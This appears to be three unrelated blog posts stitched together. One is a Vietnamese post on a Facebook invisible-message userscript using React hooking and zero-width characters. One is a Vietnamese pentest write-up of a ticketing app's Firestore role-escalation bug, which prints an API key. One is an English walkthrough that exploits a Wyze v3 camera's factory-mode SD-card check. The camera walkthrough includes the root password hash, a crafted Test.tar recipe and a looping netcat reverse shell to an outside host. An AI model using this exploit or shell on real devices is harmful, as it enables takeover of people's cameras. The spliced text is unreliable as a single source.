React hooking

Đầu tiên, lý do mà mình nghiên cứu kĩ thuật để tương tác với tin nhắn của Facebook là vì trước đây mình có thấy vài extension sử dụng kĩ thuật hooking vào các module được define bằng AMD (Async Module Definition) của Facebook. Các kiến thức đó được mình nghiên cứu để viết thành bài blog Modding Facebook website [Phần 1] đồng thời áp dụng để chỉnh sửa một số tính năng cho Facebook. Với mình thì đây là một kĩ thuật rất đỉnh vì nó giúp mình có thể viết hooking để modding các tính năng cho Facebook chỉ với 30-50 dòng code mà vẫn có thể đạt được độ ổn định rất cao trong thời gian dài.

Điển hình là nếu xem commit history của userscript [Invisible Message](https://github.com/t-rekttt/invisible_message) chính là phiên bản sơ khai của extension tin nhắn tàng hình, có thể thấy nó đã hoạt động được từ năm 2021 - 2023 mà không cần chỉnh sửa gì, có thể nói là một khoảng thời gian rất dài.

Tuy nhiên kĩ thuật này cũng rất khó vì không phải component nào trong React cũng có thể patch để ghi đè tính năng được, vì vậy có khi Facebook thay đổi gì trong cái component mình đang sử dụng cái là tịt. Ngoài ra mình nghĩ trong tương lai nếu Facebook không thích cách mình đang hooking vào mấy component này thì họ có thể sửa lại mấy component đó cho không patch được nữa sẽ khiến đống code của mình tèo hết luôn, khá là rủi ro. Ví dụ như khi Facebook cập nhật giao diện và loại bỏ component cũ đi khiến cho userscript Invisible Message nói trên chết ngắc, mình đã phải archive nó tới 2026 mới khôi phục lại được tính năng (trước đó mình còn tưởng là hết cứu luôn rồi :( ). Có thể nói kĩ thuật React hookingnày là “high risk, high reward”, sử dụng kĩ thuật này thì những dòng code viết ra luôn rất ngắn gọn mĩ miều, có thể nói là dát vàng con mắt :v.

Để mà nói về độ mĩ miều của nó thì đây là đoạn code mình dùng để chỉnh sửa (mã hoá/giải mã) nội dung tin nhắn đi và đến trong userscript, cả đoạn code chỉ dài 37 dòng:

requireLazy(
    ["MWUnvaultedText", "MAWSecureComposerText", "LexicalText"],
    (MWUnvaultedText, MAWSecureComposerText, LexicalText) => {
      const LexicalTextRootTextContentOrig = LexicalText.$rootTextContent;

      LexicalText.$rootTextContent = function () {
        return patch(LexicalTextRootTextContentOrig.apply(this, arguments));
      }

      const getTextFromEditorStateOrig = MAWSecureComposerText.getTextFromEditorState;

      MAWSecureComposerText.getTextFromEditorState = function () {
        // console.log({ editorState });

        return patch(getTextFromEditorStateOrig.apply(this, arguments));
      }

      //   console.log({ MWUnvaultedText, MAWSecureComposerText });

      const useMWUnvaultedTextOrig = MWUnvaultedText.useMWUnvaultedText;

      MWUnvaultedText.useMWUnvaultedText = function (isSecure, vaultedText) {
        let text = useMWUnvaultedTextOrig(isSecure, vaultedText);

        if (checkEncode(text)) {
          try {
            text = `Encrypted message: ${text.replace(encodedPattern, `>${decode(text)}<`)}`;
          } catch (err) {
            console.log(err);
          }
        }

        // console.log({ text });
        return text;
      };
    }
  );

Kí tự tàng hình

Nhiều năm trở trước, có 1 trang web rút gọn link nổi lên với khả năng tạo ra các đoạn link rút gọn sử dụng các kí tự “tàng hình”. Trang web đó chính là https://zws.im/ - Zero Width Shortener.

Đặc điểm của trang web này đấy là khi bạn rút gọn một đường link bất kì, nó sẽ tạo ra đường dẫn https://zws.im/‌󠁮󠁡󠁳󠁡󠁬󠁳, trông chẳng khác gì đường link dẫn đến trang chủ của ZWS. Tuy nhiên khi bạn click vào đường link này thì nó sẽ dẫn bạn tới đúng trang web mà người tạo link trỏ tới. Lý do là vì nó đã sử dụng một bảng gồm toàn các kí tự “Zero Width Character” - “Kí tự có chiều rộng bằng không”. Những kí tự này không hiển thị lên nên không thể nhìn thấy bằng mắt thường, tuy nhiên vẫn sẽ được máy tính “nhìn thấy” và xử lý. Mình có tìm thấy bài viết Ký tự zero-width - "sát thủ" vô hình nằm giữa đoạn văn bản thuần vô hại giải thích về ZWC rất hay, mọi người có thể đọc để hiểu thêm về kĩ thuật này.

Trong lúc viết bài blog này, mình có ngồi đọc lại xem ngày xưa đã tham khảo của ZWS cái gì, nhưng có vẻ như là mình chỉ tham khảo cái bảng kí tự tàng hình này thôi:

const CHARS = [
    // "\u200d",
    // "\u{e0061}",
    "\u{e0062}",
    "\u{e0063}",
    "\u{e0064}",
    "\u{e0065}",
    "\u{e0066}",
    "\u{e0067}",
    "\u{e0068}",
    "\u{e0069}",
    "\u{e006a}",
    "\u{e006b}",
    "\u{e006c}",
    "\u{e006d}",
    "\u{e006e}",
    "\u{e006f}",
    "\u{e0070}",
    "\u{e0071}",
    "\u{e0072}",
    "\u{e0073}",
    "\u{e0074}",
    "\u{e0075}",
    "\u{e0076}",
    "\u{e0077}",
    "\u{e0078}",
    "\u{e0079}",
    "\u{e007a}",
    "\u{e007f}",
  ];

Chuyển đổi cơ số

“Chuyển đổi cơ số” là một trong những thuật toán cơ bản mình được học khi lập trình. Cơ bản nhất là đổi từ hệ thập phân sang nhị phân như bức ảnh dưới đây (có lẽ đây là hình ảnh đã ám ảnh nhiều bạn học sinh, sinh viên thời còn đi học :D). Bạn có thể đọc về thuật toán này tại [đây](https://codedream.edu.vn/chuyen-doi-he-co-so/).

Lý do mà mình cần dùng tới thuật toán này đó là vì số lượng kí tự tàng hình có hạn, vì vậy cần phải đổi ra hệ cơ số tương ứng với số lượng kí tự tàng hình để có thể biểu diễn hết các kí tự trong bảng Unicode. Thực tế chỉ cần sử dụng 2 kí tự tàng hình là đủ, tuy nhiên càng sử dụng ít kí tự thì đoạn văn bản sau khi mã hoá sẽ càng dài. Vì vậy mình sử dụng bảng chữ cái ZWC với 26 kí tự để tối ưu độ dài văn bản khi mã hoá. Về lý thuyết thì hệ Unicode có 1.114.112 khả năng cho mỗi code point (một kí tự hiển thị có thể có nhiều code point, ví dụ như các emoji), do vậy khi đổi mỗi code point ra bảng ZWC thì tương đương với đổi từ hệ cơ số 1.114.112 về hệ cơ số 26.

Dưới đây là bảng quy đổi độ dài (tăng lên bao nhiêu lần) khi đổi từ Unicode sang bảng ZWC có b kí tự từ 2 - 26:

Như vậy với 26 kí tự thì xâu sau khi mã hoá của mình sẽ dài gấp khoảng 4 lần xâu ban đầu.

Code của thuật toán đổi cơ số này cũng giống chính là dựa trên việc chia lấy phần nguyên và phần dư, hệt như việc đổi số thập phân ra một hệ cơ số bất kì (do trên lý thuyết thì là hệ cơ số 1.114.112 nhưng Unicode code point thì vốn đã được biểu diễn ở dạng thập phân).

Dưới đây là đoạn code mình viết để đổi 1 code point ra biểu diễn cơ số BASE với độ dài cố định là LEN

const UNICODE_CHARS = 1114112;
const BASE = CHARS.length;
const LEN = lenCalc(BASE, UNICODE_CHARS);

const charConvert = (char) => {
  let charCode = char.codePointAt(0);
  let arr = [];

  while (charCode > 0) {
    arr.push(charCode % BASE);
    charCode = ~~(charCode / BASE);
  }

  while (arr.length < LEN) {
    arr.push(0);
  }

  return arr.reverse();
};

Đoạn code này dùng để chuyển đổi biểu diễn cơ số đã quy đổi thành các kí tự tàng hình, nếu mà đổi với bảng Alphabet thì nó tương tự như đổi số (1, 2, 3,…) thành (a, b, c,…) vậy:

const charEncode = (convertedChar) => {
  return convertedChar.reduce((curr, digit) => curr + CHARS[digit], "");
};

Sau khi đã có các hàm để đổi code point ra kí tự tàng hình rồi thì mình tiếp tục viết hàm để chuyển đổi cả xâu kí tự thành tàng hình:

const encode = (s) => {
  let converted = [];

  for (let c of s) {
    converted.push(charConvert(c));
  }

  let res = converted.map(charEncode);

  // Dùng 2 kí tự PADDING_START và PADDING_END để đánh dấu chỗ mình mã hoá
  return PADDING_START + res.join("") + PADDING_END;
};

Tương tự, ta có hàm để giải mã từng kí tự tàng hình thành kí tự ban đầu:

// Mapping ngược bảng chữ cái
const CHARS_MAP = CHARS.reduce((curr, val, i) => {
  curr[val] = i;

  return curr;
}, {});

// Giải mã kí tự
const decodeChar = (encodedChar) => {
  encodedChar = encodedChar.reverse();

  let curr = 1;
  let charCode = 0;

  for (let digit of encodedChar) {
    charCode += digit * curr;
    curr *= BASE;
  }

  return String.fromCodePoint(charCode);
};

Và hàm giải mã xâu đã mã hoá thành xâu ban đầu:

const decode = (s) => {
  s = encodedPattern.exec(s)[1];

  let curr = [];
  let res = "";

  for (let c of s) {
    curr.push(CHARS_MAP[c]);

    if (curr.length >= LEN) {
      res += decodeChar(curr);
      curr = [];
    }
  }

  return res;
};

Kết hợp lại

Từ những kĩ thuật ở trên, mình đã có đủ 3 mảnh ghép để tạo nên một tính năng/userscript/extension “độc lạ”, một kĩ thuật lấy nhiều kĩ thuật khác làm nền tảng. Đó là lý do tại sao ban đầu mình dừng lại ở việc chia sẻ 1 userscript mã nguồn mở trên Github. Nó không dễ để sử dụng, nhưng những người sử dụng được thì khả năng họ có thể ngồi đọc, hiểu và “chiêm ngưỡng” nó cũng cao hơn. Một bức tranh trừu tượng với người này là kiệt tác, với người khác có khi chỉ là tấm giấy vẽ nguệch ngoạc :v.

“Mở rộng ra”

Làm userscript là một chuyện, viết “tiện ích mở rộng” (extension) lại là chuyện khác. Nếu bạn từng làm extension đăng tải lên Chrome store thì có lẽ sẽ hiểu từ việc khai báo permissions để inject các đoạn code tới việc chuẩn bị các tài nguyên (mô tả, logo) nó khá là mệt mỏi. Do niềm vui từ việc hồi sinh được 1 kiệt tác từ cõi chết cộng với việc có Claude Code hỗ trợ nên mình mới có thể dành thời gian để biến nó thành một extension thực sự và đẩy lên Chrome store:

Và cũng vì vậy đùng một cái khi mình đăng bài lên J2TEAM Community để quảng bá cho extension, nhiều người tuy thấy hay nhưng không hiểu mục đích của cái extension này là gì :v. Mong rằng sau khi mọi người đọc bài blog này thì sẽ hiểu rằng nó là công cụ mài đao giũa kiếm của mình (chứ không phải trốn vợ đi uống bia như ông anh J nào đó quảng bá nhé :) ), thời gian tới nếu mọi người thấy mình ra một lô extension khác thì khả năng cao nó đều bắt nguồn từ một kĩ thuật này của mình thôi, cái gì ngon thì phải vắt nó cực khô chứ :3.

Sau khi đăng tải version đầu tiên thì cũng có ý kiến góp ý là nếu như chỉ là encoding/decoding kiểu steganography thì bất cứ ai cài extension vào cũng có thể xem được:

Mình nghĩ lại thấy cũng đúng, vì nếu làm 1 extension mã hoá kiểu giả cầy lừa trẻ con thôi thì nó cũng không nói lên được mục đích gì. Vì vậy mình đã cập nhật thêm cho nó tính năng ẩn tin nhắn sử dụng mã hoá thật và chỉ hiện ra khi nhập đúng mã pin:

Mặc dù với mã pin 4 số thì vẫn khá yếu, kể cả mã hoá thì cũng bruteforce được, tuy nhiên với những mã pin dài khoảng 11-12 kí tự thì có lẽ là có thể yên tâm.

Viết tới đây thì cũng gọi là hòm hòm rồi, mong mọi người đọc xong sẽ hiểu quá trình mình nghiên cứu và kết hợp các ý tưởng ngẫu nhiên tưởng chừng không liên quan tới nhau như thế nào. Nếu quan tâm tới các hoạt động của mình thì cho mình xin 1 follow Github nhé hẹ hẹ :)).

Sau writeup về X thì mình có viết writeup về hệ thống Y với bug vô hạn tiền. Rất tiếc là sau Y thì có một vài bài writeup khác đã bay màu cùng với blog cũ của mình viết trên nền tảng Ghost do quên không gia hạn server =((.

Sau một khoảng thời gian mai danh ẩn tích khá lâu thì mình đấm được Z. Z - một hệ thống bán vé khác. Có lẽ bằng một cách nào đó thì mình có duyên nhìn vào “khu vé” ra bug 🤫.

Điểm bắt đầu - Starting point

Mỗi hệ thống bán vé thường họ sẽ tách nghiệp vụ ra thành các phần:

• Phần app/web booking cho khách hàng gồm các tính năng như chọn show, vào hàng chờ (queue), chọn zone/chỗ, giữ chỗ, thanh toán, lấy mã vé…

• Phần dashboard quản lý dành cho bên tổ chức sự kiện gồm các tính năng như tạo sự kiện, quét vé, check-in, đổi quà, xem doanh thu,…

• Dashboard quản lý dành cho admin của hệ thống bán vé để quản lý sự kiện, cấp tài khoản cho ban tổ chức,…

Thường mình pentest dạo nên quan tâm tới các bug về phân quyền như IDOR, unauthorized access hơn là những bug kĩ thuật như SQL injection, XSS, RCE…Với hệ thống của Z, mình đã xem thử web nhưng chưa thấy vấn đề gì, vì vậy nên mình quyết định đấm app mobile của Z. Đây là một ngách mà mình vẫn thường làm khi research, vì các bên họ làm app mobile cũng thường lỏng lẻo hơn do ít bị pentester nhòm ngó.

Với Z thì họ không có mobile cho nghiệp vụ đặt vé, chỉ có app cho bên tổ chức sự kiện, nên mình không có lựa chọn nào khác ngoài nghiên cứu app này.

Chuẩn bị

Dịch ngược - Reverse engineering

Sau khi tải app về và mở lên thì mình được một giao diện như sau:

Như thường lệ khi nghiên cứu ap Android thì mình dùng frida để hook vào, bypass SSL pinning để xem app gửi gì lên server. Script hooking mình dùng ở đây

Thử login phát

Ta bắt được request

Và response

Lúc này thì mình đã biết app sử dụng Google Identity Toolkit và Firestore, kèm với trong request đã có API key là AIzaSyAwI5x7pxck6Eandouo_O72ft-VgJdXpf4. Tuy nhiên vì ở đây chỉ có mỗi màn hình login mà mình lại không có account nên không truy cập được thêm tính năng nào khác để nghiên cứu.

Vì vậy nên mình dùng jadx-gui để decompile apk của app.

Sau khi xem qua vài class và không thấy có gì thú vị thì mình biết đây là một con app Flutter. Với Flutter thì code của app sẽ được pack thành Dart code nằm trong thư viện native library libapp.so.

Vì gần đây cũng có đấm qua vài con app Flutter nên mình quyết định sẽ extract và decompile thư viện này ra để xem nó xử lý ra sao dưới native lib.

Mình sử dụng đoạn code sau để dump file libapp.so và libflutter.so, 2 file này bắt buộc phải có để có thể decompile được.

Java.perform(function () {
    let app_path = '/data/data/<package>';

    var lib = Process.findModuleByName('libapp.so');
    console.log(`    ${lib.base} - ${lib.base.add(ptr(lib.size))} / size: ${lib.size}`)
    Memory.protect(ptr(lib.base), lib.size, 'rwx');
    var dump = new File(`${app_path}/files/dump_libapp.so`, "wb")
    var lib_buffer = lib.base.readByteArray(lib.size)
    dump.write(lib_buffer)
    dump.close()

    var lib = Process.findModuleByName('libflutter.so');
    console.log(`    ${lib.base} - ${lib.base.add(ptr(lib.size))} / size: ${lib.size}`)
    Memory.protect(ptr(lib.base), lib.size, 'rwx');
    var dump = new File(`${app_path}/files/dump_libflutter.so`, "wb")
    var lib_buffer = lib.base.readByteArray(lib.size)
    dump.write(lib_buffer)
    dump.close()
});

Sau đó mình sử dụng Blutter để decompile 2 thư viện này ra thành Dart code

python3 ./blutter.py /<path-to-package>/lib/arm64-v8a /<path-to-package>/extracted-lib --rebuild

Mình được một cấu trúc thư mục khá đồ sộ chứa toàn bộ logic xử lý của app, mỗi tội là nó ở dạng như kiểu Assembly. Tới đây nếu mà mình trình bày làm sao để reverse đống ASM này và tìm ra lỗ hổng thì có lẽ bạn đọc sẽ ngủ gật giữa chừng mất. Vì vậy nên mình sẽ trình bày một hướng giải quyết khác :v.

AI to the rescue

Tới bước này thì trong đầu mình nghĩ ra ngay một giải pháp, đấy là dùng LLM để cho nó đọc hiểu đống code này và implement lại bằng Python cho mình. Tất nhiên là mình có xem qua xem phần xử lý tính năng ở đâu rồi mới bảo AI đọc hiểu và code lại từ đó ra, đồng thời đưa thêm thông tin cho LLM trong quá trình xử lý, chứ với context giới hạn thì nó không thể nào tự đọc hết đống ASM đấy rồi tự code được. Mình sử dụng Claude 4.5 Sonnet, model đọc và code ngon nhất hiện tại.

Sau khoảng 10 phút đọc hiểu, gen code và test thì AI “nấu” ra cho mình đoạn code như sau

Tìm lỗi

Viết tới đây thì mình mới nhận ra nãy giờ vẫn chỉ là chuẩn bị và vẫn chưa bắt đầu thực sự hack cái gì :)). Tin tốt là giờ mình đã nắm trong tay tất cả API implementation của app, coi như game này checkpoint ở đây và phần hacking mới thật sự bắt đầu.

Nếu bạn để ý thì trong những tấm hình phía trên, khi mình dịch ngược từ code Dart ra Python của app, thì có một tính năng không hề xuất hiện trên giao diện, đó là tính năng “đăng ký”. Và đây cũng chính là tính năng mở đầu cho một chuỗi bug domino của app.

Đầu tiên, với tính năng đăng ký thì mình đã có thể biến bản thân từ một tác nhân bên ngoài trở thành một tác nhân bên trong hệ thống. Điều này khả năng sẽ cung cấp cho mình nhiều quyền hơn unauthenticated users.

Sau đó, mình lại tiếp tục nhận ra rằng user này có thể truy cập toàn bộ thông tin users khác trong database (không bao gồm password). Có vẻ như trong hệ thống có 3 role chính đó là: staff, agency, Z (Z là tên hệ thống). Trong đó role Z có quyền cao nhất.

Và cả thông tin sự kiện

Thông tin checkin vào show, ngày giờ, hạng vé, tên người mua, email, sđt

Và cuối cùng, ảo ma nhất, mình phát hiện ra rằng mình có thể tự sửa role của mình trên database, cũng như bất cứ thông tin nào trên database mà mình nhìn thấy.

Kết quả đó là mình có thể thực hiện những hành động sau trên hệ thống:

• Lấy thông tin (email) của tất cả các users trên hệ thống

• Lấy thông tin show, checkins (trong đó bao gồm thông tin người mua, ngày giờ, trạng thái checkin) trên hẹ thống

• Tự thay đổi quyền của mình, tự cấp quyền truy cập vào app để quét vé

• Tự tạo ra thông tin vé để tham dự sự kiện, thay đổi được trạng thái vé đã quét thành chưa quét

PoC

Báo cáo

Sau khi phát hiện lỗ hổng thì mình đã liên hệ được với Security Team Leader của Z. Sau khi mình đưa một vài mô tả sơ lược về lỗ hổng thì anh Team Lead báo mình rằng bug này đã được phát hiện từ 2 tháng trước đó và deploy fix từ hôm trước. Tuy nhiên trong hôm đó mình vẫn truy cập và thay đổi được dữ liệu.

Trong buổi chiều hôm đó thì bug phân quyền khi register account mới đã được fix, tuy nhiên account được tạo trước đó với quyền Z thì vẫn có full quyền.

Lỗ hổng chỉ được fix vài hôm sau đó khi mà account admin mình tạo ra trong hệ thống của Z được xoá đi.

Mình thấy tiếc cho Z vì biết lỗ hổng từ sớm nhưng không fix nên mới dẫn tới việc bị khai thác. Có lẽ Z chỉ biết về bug register account chứ không biết về bug phân quyền nghiêm trọng. Security Team Leader cũng có trao đổi lại với mình là vụ register thì không patch được vì register là tính năng bắt buộc của Google Identity Toolkit/Firestore (cái này mình không rõ lắm). Theo mình thì nếu như register không tắt đi được thì mình nên xử lý nó ở backend để kiểm soát và chỉ cho user login qua API mình expose ra thôi.

Sau khi Z fix xong thì mình có trao đổi là muốn viết writeup cho lỗ hổng này và sẽ che hết các thông tin nhận diện của Z đi.

Timeline

• 25/11/2025: Phát hiện lỗ hổng

• 4/12/2025: Report lỗ hổng tới Z

• 5/12/2025: Lỗ hổng được fix

• 24/12/2025: Writeup

At the time I'm writing this blog, the newest Wyze camera firmware version is 4.36.11.4679. You can directly download the firmware here or refer to the vendor's website.

After I got the firmware downloaded, I renamed it to demo_wcv3.bin and tried to follow this instruction in order to manually flash the new firmware, but it didn't work.

So I extracted it using the command binwalk -eM demo_wcv3.bin and inspected it manually.

Here are the files after extraction:

┌──(kali㉿kali)-[~/Desktop/_demo_wcv3.bin.extracted]
└─$ ls -la
total 21016
drwxrwxrwx  7 kali kali    4096 Jul 25 04:35 .
drwxr-xr-x 10 kali kali    4096 Jul 25 04:19 ..
-rwxrwxrwx  1 kali kali 2881084 Jul 25 04:19 1F0040.squashfs
-rwxrwxrwx  1 kali kali 3379782 Jul 25 04:19 5C0040.squashfs
-rwxrwxrwx  1 kali kali 5808244 Jul 25 04:19 80
-rwxrwxrwx  1 kali kali 9412608 Jul 25 04:19 80.7z
drwxrwxrwx  2 kali kali    4096 Jul 25 04:19 _80.extracted
drwxrwxrwx 22 kali kali    4096 Jul 25 04:19 squashfs-root
drwxrwxrwx  2 kali kali    4096 Jul 25 04:19 squashfs-root-0
drwxrwxrwx  8 kali kali    4096 Jul 25 04:19 squashfs-root-1
drwxrwxrwx  2 kali kali    4096 Jul 25 04:19 squashfs-root-2

I also tore down 2 Wyze v3 cameras for inspection, one with the older firmware that I can get into root shell via UART, and the other with the newest firmware that has no shell because it is equipped better root password.

Here is the UART pinouts if you are interested:

You can try extracting the password hash and breaking it on your own, but it looks much more secure:

┌──(kali㉿kali)-[~/Desktop/_demo_wcv3.bin.extracted]
└─$ find . | grep shadow               
./squashfs-root/etc/shadow

┌──(kali㉿kali)-[~/Desktop/_demo_wcv3.bin.extracted]
└─$ cat ./squashfs-root/etc/shadow 
root:$6$wyzecamv3$8gyTEsAkm1d7wh12Eup5MMcxQwuA1n1FsRtQLUW8dZGo1b1pGRJgtSieTI02VPeFP9f4DodbIt2ePOLzwP0WI0:0:0:99999:7:::

While inspecting the bootlogs via UART, I found out there was quite interesting part of the code somewhere that is looking for a file named Test.tar :

 __________________________________
|                                  |
|                                  |
|                                  |
|                                  |
| _   _             _           _  |
|| | | |_   _  __ _| |     __ _(_) |
|| |_| | | | |/ _| | |  _ / _| | | |
||  _  | |_| | (_| | |_| | (_| | | |
||_| |_|\__,_|\__,_|_____|\__,_|_| |
|                                  |
|                                  |
|_____2020_WYZE_CAM_V3_@HUALAI_____|


WCV3 login: [    1.248833] @@@@ tx-isp-probe ok(version H20200506a), compiler date=May  6 2020 @@@@@
[    1.287215] exFAT: Version 1.2.9
[    1.314206] jz_codec_register: probe() successful!
[    1.725724] dma dma0chan24: Channel 24 have been requested.(phy id 7,type 0x06 desc a0682000)
[    1.734817] dma dma0chan25: Channel 25 have been requested.(phy id 6,type 0x06 desc a0625000)
[    1.743996] dma dma0chan26: Channel 26 have been requested.(phy id 5,type 0x04 desc a07d4000)
[    1.816013] jz_pwm_probe[255] d_name = tcu_chn0
[    1.822279] The version of PWM driver is H20180309a
[    1.832702] request pwm channel 0 successfully
[    1.838984] pwm-jz pwm-jz: jz_pwm_probe register ok !
[    2.073137] RTL871X: module init start
[    2.078381] RTL871X: rtl8189ftv v4.3.24.7_21113.20170208.nova.1.02
[    2.084766] RTL871X: build time: Dec 18 2020 16:40:08
[    2.090031] wlan power on by hualai
[    2.105791] RTL871X: module init ret=0
[    2.123004] usbcore: registered new interface driver usb_ch34x
[    2.130403] ch34x: USB to serial driver for USB to serial chip ch340, ch341, etc.
[    2.138186] ch34x: V1.16 On 2020.12.23
[    2.151689] mmc1: card claims to support voltages below the defined range. These will be ignored.
Updating device time to:
Sun Feb 14 19:36:56 CST 2021
[    2.177094] mmc1: new SDIO card at address 0001
===========welcome to ver-comp tool=========
[    2.192296] RTL871X: ++++++++rtw_drv_init: vendor=0x024c device=0xf179 class=0x07
[    2.237058] RTL871X: HW EFUSE
[    2.240134] RTL871X: hal_com_config_channel_plan chplan:0x20
[ver-comp]dbg: appver:  4.36.0.280
[ver-comp]dbg: rootver: 4.36.0.112
[ver-comp]exec cmd: cp -rf /system/bin/app.ver /configs/
#######################
#   IS USER PROCESS   #
#######################
[    2.377273] RTL871X: rtw_regsty_chk_target_tx_power_valid return _FALSE for band:0, path:0, rs:0, t:-1
[    2.387880] RTL871X: rtw_ndev_init(wlan0) if1 mac_addr=40:24:b2:08:66:8a
[FC] cd pin not found tfcard
[FC] Test.tar no exist
[FC] In [user] mode!

After searching around in the extracted firmware, I found out that it's probably this piece of bash script in squashfs-root-1/init/app_init.sh that did the file checking:

############### Select user mode or debug mode ###############
DEBUG_STATUS='/configs/.debug_flag'

if [ ! -f $DEBUG_STATUS ]; then
    echo "#######################"
    echo "#   IS USER PROCESS   #"
    echo "#######################"
    /system/init/factory.sh &
    /system/bin/factorycheck

    if [ -f /tmp/factory ]; then
        exit
    fi

    ...
else
    sleep 0.5
    echo "#######################"
    echo "#   IS DEBUG STATUS   #"
    echo "#######################"
fi

So I opened the squashfs-root-1/bin/factorycheck binary using Ghidra, and quickly found out the pieces of code that output all those logs:

undefined4 FUN_00400a60(void)

{
  int iVar1;
  byte *pbVar2;
  size_t sVar3;
  FILE *__stream;
  byte *pbVar4;
  byte *pbVar5;
  char *pcVar6;
  uint uVar7;
  char acStack_218 [256];
  byte local_118 [64];
  byte local_d8 [64];
  char acStack_98 [64];
  byte local_58 [68];

  memset(acStack_218,0,0x100);
  memset(local_58,0,0x40);
  memset(acStack_98,0,0x40);
  memset(local_d8,0,0x40);
  memset(local_118,0,0x40);
  iVar1 = access("/media/mmc/Test.tar",0);
  if (iVar1 == 0) {
    system("tar -xvf /media/mmc/Test.tar -C /tmp/");
    puts("[FC] Test.tar exist");
    FUN_00400850("/tmp/Test/singleBoadTest",local_d8);
    uVar7 = 0;
    FUN_00400850("/tmp/Test/factoryTestProcess",local_118);
    while( true ) {
      sVar3 = strlen((char *)local_d8);
      pbVar5 = local_118 + uVar7;
      if (sVar3 <= uVar7) break;
      pbVar4 = local_d8 + uVar7;
      pbVar2 = local_58 + uVar7;
      uVar7 = uVar7 + 1;
      *pbVar2 = *pbVar5 ^ *pbVar4;
    }
    __stream = fopen("/tmp/Test/checksum","rb");
    if (__stream == (FILE *)0x0) {
      pcVar6 = "[FC] Test.tar checksum no exist";
    }
    else {
      sVar3 = fread(acStack_98,1,0x40,__stream);
      fclose(__stream);
      iVar1 = strncmp(acStack_98,(char *)local_58,sVar3);
      if (iVar1 == 0) {
        system("touch /tmp/factory");
        pcVar6 = "[FC] In [factory] mode!";
        goto LAB_00400cac;
      }
      pcVar6 = "[FC] Test.tar checksum no right";
    }
    puts(pcVar6);
    system("rm /tmp/Test/ -rf");
  }
  else {
    puts("[FC] Test.tar no exist");
  }
  iVar1 = access("/dev/mmcblk0p1",0);
  if ((iVar1 == 0) && (iVar1 = access("/media/mmc",0), iVar1 == 0)) {
    pcVar6 = "umount /dev/mmcblk0p1";
LAB_00400c7c:
    strcpy(acStack_218,pcVar6);
    system(acStack_218);
    puts("[FC] umount tfcard finish!");
  }
  else {
    iVar1 = access("/dev/mmcblk0",0);
    if ((iVar1 == 0) && (iVar1 = access("/media/mmc",0), iVar1 == 0)) {
      pcVar6 = "umount /dev/mmcblk0";
      goto LAB_00400c7c;
    }
  }
  system("touch /tmp/usrflag");
  pcVar6 = "[FC] In [user] mode!";
LAB_00400cac:
  puts(pcVar6);
  return 0;
}

undefined4 FUN_00400850(undefined4 param_1,void *param_2)

{
  FILE *__stream;
  size_t __n;
  undefined auStack_90 [64];
  char acStack_50 [64];

  memset(acStack_50,0,64);
  memset(auStack_90,0,64);
  snprintf(acStack_50,64,"md5sum %s > /tmp/mdtxt",param_1);
  system(acStack_50);
  __stream = fopen("/tmp/mdtxt","rb");
  __n = fread(auStack_90,1,0x40,__stream);
  fclose(__stream);
  if (0 < (int)__n) {
    memcpy(param_2,auStack_90,__n);
    printf("get_uploadfile_md5:[%d][%s]\n",__n,param_2);
  }
  return 1;
}

At a high-level concept, what the code does was:

• Extract Test.tar to /tmp : tar -xvf /media/mmc/Test.tar -C /tmp/

• Get md5 hashes of /tmp/Test/singleBoadTest and /tmp/Test/factoryTestProcess, save the hashes to local_d8 and local_118:

    FUN_00400850("/tmp/Test/singleBoadTest",local_d8);
    FUN_00400850("/tmp/Test/factoryTestProcess",local_118);
  

• Xor the hashes and save them to pbVar2 :

    while( true ) {
      sVar3 = strlen((char *)local_d8);
      pbVar5 = local_118 + uVar7;
      if (sVar3 <= uVar7) break;
      pbVar4 = local_d8 + uVar7;
      pbVar2 = local_58 + uVar7;
      uVar7 = uVar7 + 1;
      *pbVar2 = *pbVar5 ^ *pbVar4;
    }
  

• Check if pbVar2 is equal with /tmp/Test/checksum, if yes then create /tmp/factory file

    __stream = fopen("/tmp/Test/checksum","rb");
    if (__stream == (FILE *)0x0) {
      pcVar6 = "[FC] Test.tar checksum no exist";
    }
    else {
      sVar3 = fread(acStack_98,1,0x40,__stream);
      fclose(__stream);
      iVar1 = strncmp(acStack_98,(char *)local_58,sVar3);
      if (iVar1 == 0) {
        system("touch /tmp/factory");
        pcVar6 = "[FC] In [factory] mode!";
        goto LAB_00400cac;
      }
      pcVar6 = "[FC] Test.tar checksum no right";
    }
    puts(pcVar6);
    system("rm /tmp/Test/ -rf");
  

Ok, so it seems like all of these codes were only to decide whether to create the /tmp/factory file which served as a flag for something. So how do we get a shell from this?

Well, the interesting part lies in squashfs-root-1/init/factory.sh which were executed along with the factorycheck script inside the app_init.sh above:

#!/bin/sh

while [ 1 ]
do
    sleep 0.1;
    if [ -f /tmp/factory ]; then
        /tmp/Test/test.sh &
        break
    fi
    if [ -f /tmp/usrflag ]; then
        break
    fi
done

From this part, my execution plan was clear:

• Create a Test folder which contains:

  • singleBoadTest: Blank file

  • factoryTestProcess: Blank file

  • checksum : Xor of the md5 hashes of 2 blank files above, which of course contains b'\0' * 32

  • /tmp/Test/test.sh : Our injection script for shell

• tar -cvf Test.tar Test/

• Copy Test.tar to the SDCard

• Plug it into the device, reboot, and enjoy (no need to teardown or do anything abnormally at all)

Here is the script I put into test.sh for the reverse shell. Because when switched into test mode the device wouldn't run any network initialization at all so I had to initialize them on my own. I put my wpa_supplicant.conf at /media/mmc/full-firmware/tmp/wpa_supplicant.conf which is inside the SDCard. I also grabbed a better version of busybox-mipsel binary from here to be able to use netcat.

mkdir /media/mmc
mount /dev/mmcblk0p1 /media/mmc
ifconfig wlan0 up
wpa_supplicant -c /media/mmc/full-firmware/tmp/wpa_supplicant.conf -i wlan0 &
udhcpc -i wlan0
while true; do
    /media/mmc/full-firmware/tmp/busybox-mipsel nc <IP> 1337 -e /bin/sh
    sleep 1
done

If everything went well, you will see these logs after reboot:

[FC] mount tfcard finish!
Test/
Test/checksum
Test/factoryTestProcess
Test/singleBoadTest
Test/test.sh
[FC] Test.tar exist
get_uploadfile_md5:[59][d41d8cd98f00b204e9800998ecf8427e  /tmp/Test/singleBoadTest
]
get_uploadfile_md5:[63][d41d8cd98f00b204e9800998ecf8427e  /tmp/Test/factoryTestProcess
]
[FC] In [factory] mode!
mkdir: can't create directory '/media/mmc': File exists
mount: mounting /dev/mmcblk0p1 on /media/mmc failed: Device or resource busy
udhcpc: started, v1.33.1
udhcpc: sending discover
Successfully initialized wpa_supplicant
rfkill: Cannot open RFKILL control device
nl80211: Could not re-add multicast membership for vendor events: -2 (No such file or directory)
